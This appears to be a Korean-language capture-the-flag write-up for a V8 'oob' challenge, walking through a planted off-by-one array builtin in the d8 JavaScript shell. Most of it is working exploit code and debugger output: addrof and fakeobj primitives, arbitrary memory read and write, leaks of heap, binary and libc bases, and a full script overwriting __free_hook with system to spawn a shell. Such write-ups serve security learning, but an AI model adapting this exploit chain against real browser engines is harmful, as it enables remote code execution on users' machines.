oob

diff

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

이부분이 관건인데 조금씩 해석해보면

https://chromium.googlesource.com/v8/v8/+/127d6781d91400397e15ba7302483643fb26c1da/src/factory.cc#L1071

⇒ 차례대로 OOB read, write임. index는 0으로 시작하는데 length-1이 아니라 그대로 넣으니까 1씩 더 access할 수잇음 (r든 w든)

oob()라는 함수는

기본적인 개념들

구조

a = [1.5, 2.5] 이걸로 예를 들자면

Untitled.png

Untitled 1.png

일케 생겨먹음

그래서 oob 실행하면 어캐되느냐

d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob();
1.0177087804388e-310
d8> ftoi(a.oob()).toString(16)
"12bbff842ed9"
d8> %DebugPrint(a)
0x3ef7e510e129 <JSArray[2]>
[1.5, 2.5]
pwndbg> x/4gx 0x3ef7e510e128
0x3ef7e510e128: 0x000012bbff842ed9      0x000028b11a100c71
0x3ef7e510e138: 0x00003ef7e510e109      0x0000000200000000

일치함. 즉 바운드 바깥에 머가잇느냐 a의 Map이 잇다 이걸 우리가 읽고쓸수잇으니까 fake obj를 만들어서 주무를 수잇다.

Untitled 2.png

바로 이런 차이를 악용해서 오브젝트의 주소를 릭할 수 있다. pointer를 double로 취급해서 리턴할 수 잇음

[1] LEAK

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
%DebugPrint(map_float)

var initial_obj = {a:1};        // placeholder
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
%DebugPrint(map_obj)

function addrof(obj) {
    obj_arr[0] = obj;                   // index 0에 릭할 오브젝트 
    obj_arr.oob(map_float);             // float map으로 변환
    let leak = obj_arr[0];              // addr 읽기 
    obj_arr.oob(map_obj);               
    return ftoi(leak);                  // integer로 릭 반환 
}
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x3b3e3078ebf9 <Object map = 0x1419109cab39>
{a: 1}
d8> addrof(obj).toString(16)
"3b3e3078ebf9"

짠 하고 릭이 됩니다. 이것이 첫번째 primitive

[2] 가짜오브젝트 생성하기

두번째 primitive는 뭐냐

oob()을 분석해보니까 인덱스 하나만큼 값을 쓸수잇엇음

그리고 위에서 봣듯 (파란색으로 표시한 주소값) JSArray[2] → elements pointer(실제의 값이 저장돼잇음) 이니까

function fakeobj(addr) {
    float_arr[0] = itof(addr);  // 값을 쓸 것을 index 0에
    float_arr.oob(map_obj);     // 오브젝트 맵으로 
    let fake = float_arr[0];    // fake object
    float_arr.oob(map_float);   // 다시 map으로 
    return fake;                
}

이런식으로 실제 array안에서 가짜 오브젝트를 생성할 수 있다.

exploit - R

var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    if (addr % 2n == 0)
        addr += 1n;

    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // [1]
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // [2]
    return ftoi(fake[0]);
}

tag pointer 설명 :JS 탐구생활 - JS 엔진이 값을 저장하는 방법, tagged pointer와 NaN boxing (witch.work) 위 문서를 읽으시오

Untitled 3.png

[1] FixedDoubleArray 에 페이크넣기. 길이가 4니까 0x8 * 4 = 오프셋은 0x20

[2] 페이크의 elements 필드 위에 값 쓰기. map + size smi 까지 오프셋은 0x10.

exploit - W

function initial_arb_write(addr, val) {
    // 페이크
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // index 0에 씀
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    // backing store에 initial_arb_write활용해서 값을 씀 
    initial_arb_write(backing_store_addr, addr);
    // 오프셋 0에 값을 씀 
    dataview.setBigUint64(0, BigInt(val), true);
}

여기서는 ArrayBuffer 만들고 DataView를 만들어줘야함 단계가 하나 더 잇음

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView

https://v8docs.nodesource.com/node-13.2/d5/d6e/classv8_1_1_array_buffer.html

Untitled 4.png

ArrayBuffer의 backing store 가 JSarray의 element같은거임. 실제로 값이 들어가는 곳의 메모리 주소를 가지고 잇음

Untitled 5.png

RCE따기 - 릭따기

offset이 고정된 포인터들을 사냥해봅시다

qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x22322bacf3f1
[+] Float Map: 0x3f1e46bc2ed9
[+] Object Map: 0x3f1e46bc2f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ 
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x38be6500f3f1
[+] Float Map: 0x862903c2ed9
[+] Object Map: 0x862903c2f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x223fc0c4f3f1
[+] Float Map: 0x13156f542ed9
[+] Object Map: 0x13156f542f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x11edb490f3f1
[+] Float Map: 0x12c8e3902ed9
[+] Object Map: 0x12c8e3902f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x18fcbd14f3f1
[+] Float Map: 0x3f7477d02ed9
[+] Object Map: 0x3f7477d02f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x9eaafc4f3f1
[+] Float Map: 0x38eae9542ed9
[+] Object Map: 0x38eae9542f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x1acc5fe0f3f1
[+] Float Map: 0x1efd3df02ed9
[+] Object Map: 0x1efd3df02f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x397f5368f3f1
[+] Float Map: 0xcc5788c2ed9
[+] Object Map: 0xcc5788c2f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x389af8f3f1
[+] Float Map: 0x163589b42ed9
[+] Object Map: 0x163589b42f79

뭔가 딱봐도 2ed9랑 2f79가 고정인것같음

[+] Address of Arbitrary RW Array: 0x8ae3bdcf3f1
[+] Float Map: 0x29cb502c2ed9
[+] Object Map: 0x29cb502c2f79
pwndbg> vmmap
[...]
    0x2813c32c0000     0x2813c32c1000 rw-p     1000      0 [anon_2813c32c0]
    0x29cb502c0000     0x29cb50300000 rw-p    40000      0 [anon_29cb502c0]
    0x338644740000     0x338644780000 rw-p    40000      0 [anon_338644740]
[...]

저기 부분에 잇는 애들인데 저 파트의 오프셋은 알겠는데 이걸 써먹을 수 잇을까요? 참고로

0x5555562fa000     0x5555563c8000 rw-p    ce000      0 [heap]
pwndbg> x/100gx 0x29cb502c0000     
0x29cb502c0000: 0x0000000000040000      0x0000000000000004
0x29cb502c0010: 0x00005555563a9b40      0x000055555631b320  // heap 부분 
0x29cb502c0020: 0x000029cb502c0000      0x0000000000040000

heap의 오프셋을 구해봅시다

pwndbg> p /x 0x00005555563a9b40 - 0x5555562fa000
$2 = 0xafb40
pwndbg> p /x 0x000055555631b320 - 0x5555562fa000  
$3 = 0x21320

실행을 몇번 해도 실행때마다 똑같음

그럼 정리하자면

[1] float map leak: 시작으로부터 offset 2ed9

[2] object map leak: 시작으로부터 offset 2f79

[3] heap을 가리키는 포인터1: 힙시작으로부터 offset 0xafb40

[4] heap을 가리키는 포인터2: 힙시작으로부터 offset 0x21320

두번째 포인터는 결국 멀가리킬까

pwndbg> x/100gx 0x000055555631b320
0x55555631b320: 0x00005555562dcea8      0x0000000000001000 
0x55555631b330: 0x0000000000001000      0x0000000000000021
0x55555631b340: 0x66632e6f62727574      0x0000000000000067
0x55555631b350: 0x0000000000000000      0x0000000000000041
    0x555555554000     0x5555557e8000 r--p   294000      0 /home/qwertek/v8/out.gn/x64.release/d8
    0x5555557e8000     0x5555562b0000 r-xp   ac8000 294000 /home/qwertek/v8/out.gn/x64.release/d8
    0x5555562b0000     0x5555562f0000 r--p    40000 d5c000 /home/qwertek/v8/out.gn/x64.release/d8
    0x5555562f0000     0x5555562fa000 rw-p     a000 d9c000 /home/qwertek/v8/out.gn/x64.release/d8
    0x5555562fa000     0x5555563c8000 rw-p    ce000      0 [heap]
    0x7ffff31fc000     0x7ffff3239000 rw-p    3d000      0 [anon_7ffff31fc]

[5] 0x00005555562dcea8 얘는 바이너리 주소, offset 0xd88ea8

거의다옴(아마)

qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ readelf -a d8 | grep -i puts
000000d9b3c8  001000000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0

[6] puts got offset d9b3c8

qwertek@DESKTOP-CRU7LFG:/mnt/c/Users/qwertek/happyhacking/starctf_v8$ nm -D chrome/chrome/libc.so.6 | grep "puts"
000000000007f1f0 T _IO_fputs
00000000000809c0 T _IO_puts
000000000007f1f0 W fputs
000000000008a640 W fputs_unlocked
00000000000809c0 W puts
00000000001285d0 T putsgent
00000000001266c0 T putspent

[7] libc base 는 puts addr 로부터 offset 809c0

자 이제 익스를 좀 정리해서 넣어보면

[New Thread 0x7ffff3a39700 (LWP 204122)]
[+] Address of Arbitrary RW Array: 0x13dda5e8f6e1
[+] Float Map: 0x251346c42ed9
[+] Object Map: 0x251346c42f79
[+] Map Region Start: 0x251346c40000
[+] Heap Base: 0x5555562fa000
[+] Binary Base: 0x555555554000
[+] puts@got: 0x5555562ef3c8
[+] puts@libc: 0x7ffff7cb1420
[+] LIBC Base: 0x7ffff7c30a60
[...]
[Inferior 1 (process 204111) exited normally]
pwndbg> p &system
$3 = (int (*)(const char *)) 0x7ffff7c7f290 <__libc_system>
pwndbg> p &__free_hook
$4 = (void (**)(void *, const void *)) 0x7ffff7e1be48 <__free_hook>
pwndbg> p /x 0x7ffff7c7f290 - 0x7ffff7c30a60
$5 = 0x4e830
pwndbg> p /x 0x7ffff7e1be48 - 0x7ffff7c30a60
$6 = 0x1eb3e8

[8] system offset 0x4e830

[9] free hook offset 0x1eb3e8

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();

var initial_obj = {a:1};	
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();

function addrof(obj) {
    obj_arr[0] = obj;			
    obj_arr.oob(map_float);		
    let leak = obj_arr[0];		
    obj_arr.oob(map_obj);		
    return ftoi(leak);			
}

function fakeobj(addr) {
    float_arr[0] = itof(addr); 
    float_arr.oob(map_obj);     
    let fake = float_arr[0];    
    float_arr.oob(map_float);   
    return fake;               
}

var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[♥] arb_rw_arr: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {
    if (addr % 2n == 0)
        addr += 1n;

    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;

    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}

console.log("[♥] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[♥] Object Map: 0x" + ftoi(map_obj).toString(16));

let map_reg_start = ftoi(map_float) - 0x2ed9n;
console.log("[♥] Map Start: 0x" + map_reg_start.toString(16));

let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x21320n;
console.log("[♥] Heap Base: 0x" + heap_base.toString(16));

let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd88ea8n;
console.log("[♥] Binary Base: 0x" + binary_base.toString(16));

let puts_got = binary_base + 0xd9b3c8n;
console.log("[♥] puts@got: 0x" + puts_got.toString(16));
let puts_libc = arb_read(puts_got);
console.log("[♥] puts@libc: 0x" + puts_libc.toString(16));
let libc_base = puts_libc - 0x809c0n;
console.log("[♥] LIBC Base: 0x" + libc_base.toString(16));

let system = libc_base + 0x4e830n;
let free_hook = libc_base + 0x1eb3e8n;

arb_write(free_hook, system);
console.log("/bin/sh");

Untitled 6.png

크롬에서 직접 하면 안됨 오프셋이 다 어긋나서

그래서 웹어셈으로 된 쉘코드를 넣어야함

https://ir0nstone.gitbook.io/notes/types/browser-exploitation/ctf-2019-oob-v8